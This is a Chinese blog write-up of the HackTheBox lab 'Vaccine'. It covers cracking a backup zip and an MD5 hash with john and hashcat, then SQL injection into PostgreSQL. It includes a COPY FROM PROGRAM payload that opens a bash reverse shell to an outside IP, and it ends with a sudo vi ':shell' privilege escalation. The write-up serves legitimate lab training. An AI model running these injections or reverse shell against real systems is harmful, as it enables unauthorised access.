HTB靶场:Vaccine(postgresql SQL注入提权&哈希破解)

Vaccine

1. 扫描

上来直接扫到ftp有一个backup.zip

以及ssh和80端口

将backup.zip下载下来

然后发现压缩包有密码

2. 访问

访问80端口看看

还有一些信息,apache+PHP,Linux系统

首先,对于登录界面,先排除弱口令和SQL注入,然后看目录扫描结果

没什么内容,那只能回头看backup.zip,尝试解出密码

3. john工具

john专注于破解各类系统hash,支持破解400多种hash类型;其中破解zip用到zip2john,破解rar用到rar2john,破解Word和Excel用到office2john

两个文件都使用加密方式 TS_chk

如果两个文件密码不一样,可以通过-o逐个输出

拿到密码

4. admin的密码写在脸上,不过是md5

这里的md5解密推荐两个工具,一个是轻量级hashid;一个是重量级hashcat,hashcat也可以用于密码恢复,不仅仅是破解密码

hashid的-m可以配合hashcat使用,识别加密哈希算法(包括有盐加密的hash),-j可以配合john使用

使用-m或直接输入,会对可能的加密方式进行分析

然后用hashcat进行解密

hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt

4. 登录

是一张数据库表

有sql注入

放大之后是这样

可以发现这里是用 where name ilike '%输入内容%' 进行模糊查询;%属于占位符,不需要闭合

找到适用的注释符

找到能够闭合语法:1' and 1=1 --+

获取列数:5

尝试联合查询,发现数据类型不匹配

修改数据类型,获得回显

判断数据库类型

为postgresql

5.利用 COPY FROM PROGRAM

1:先尝试写入文件

发现没有权限

2:换一种方法

先创建一个表

1';create table cmd_exec(cmd_output text);--+

然后用COPY FROM PROGRAM语句引入数据(执行命令)并写入数据库

1';copy CMD_EXEC from program '/bin/bash -c "bash -i >& /dev/tcp/10.10.16.14/6666 0>&1"'--+

成功弹回shell

去查看网站项目根目录,

index.php在备份压缩包里已经看过了,现在看dashboard.php

发现数据库连接使用的账号密码等信息

无法连接

先找一个flag

6.提权

尝试用刚才发现的密码登录postgres用户,登录成功

查看可用权限

发现只能编辑配置文件,那就试试吧

要用sudo权限运行vi

在vi的普通模式下输入 :shell

拿到第二个shell

posted @ 2024-12-02 13:34  柯ili  阅读(117)  评论(0)    收藏  举报